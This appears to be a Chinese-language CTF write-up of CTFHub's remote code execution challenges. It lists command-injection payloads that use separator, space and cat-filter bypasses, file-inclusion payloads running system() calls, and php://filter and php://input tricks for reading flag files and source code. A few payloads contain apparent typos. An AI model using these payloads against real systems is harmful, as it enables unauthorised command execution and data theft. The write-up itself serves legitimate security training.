CTFHub远程执行RCE

eval执行

命令注入

127.0.0.1;cat 121931294031970.php

127.0.0.1;cat 121931294031970.php|base64

获得flag

过滤cat

其他查看文件的命令

127.0.0.1;ls

127.0.0.1;less flag_198392751413959.php|base64
127.0.0.1;more flag_198392751413959.php|base64

过滤空格

127.0.0.1;cat

过滤目录分隔符

127.0.0.1;ls

127.0.0.1;ls flag_is_here

127.0.0.1;cd flag_is_here;cat flag_267421362024533.php|base64

base64解密
获得flag

过滤运算符

获得文件名，做快了没截图
127.0.0.0.1;cat flag_18244445012948.php|base64

127.0.0.0.1;cat flag_18244445012948.php
获得flag

综合过滤练习

?ip=127.0.0.1%0Acd$ {IFS}f***_is_here% 0Acd${IFS}f***_is_here%0als

ip=127.0.0.1%0Acd$ {IFS}f**g_is_here%0Als

ip=127.0.0.1%0Acd$ {IFS}f** g_is_here%0Amore$ {IFS} f* *g_17209124488085.php

文件包含

说明参数为ctfhub
一直试就是传不上参
最后发现，它必须通过file
/?file=shell.txt&ctfhub=system(‘find / -name flag*’);

/?file=shell.txt&ctfhub=system(‘cat /flag’);

php://input

远程包含

读取源代码

php://协议

php://协议的使用条件：

1. 不需要开启allow_url_fopen

2. php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

php://filter 用于读取源码且在双off的情况下也可以正常使用

allow_url_fopen ：off/on (使用条件)

allow_url_include：off/on

Eg: http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=index.php

php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

allow_url_fopen ：off/on

allow_url_include：on

Eg：http://127.0.0.1/cmd.php?file=php://input [POST DATA]

?file=php://filter/read=convert.base64-encode/resource=/flag